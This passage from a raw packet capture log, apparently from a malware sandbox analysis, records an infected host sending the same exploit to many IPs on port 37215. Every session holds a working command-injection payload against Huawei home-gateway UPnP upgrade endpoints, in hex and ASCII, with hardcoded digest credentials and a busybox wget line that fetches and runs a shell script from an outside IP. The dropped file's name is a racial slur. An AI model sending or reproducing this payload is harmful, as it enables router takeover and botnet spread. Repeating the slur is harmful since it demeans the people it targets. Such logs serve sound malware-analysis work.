HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.15	60470	94.123.112.24	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.831578970 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.15	43922	94.123.137.1	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.831953049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.15	48374	94.121.133.59	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.832310915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.15	46528	94.123.247.108	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.832696915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.15	52260	94.120.33.17	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.833024979 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.15	54680	94.120.8.97	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.833776951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.15	59980	94.123.254.39	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.834167957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.15	36214	94.123.179.203	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.834759951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.15	45800	94.123.48.151	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.835783005 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 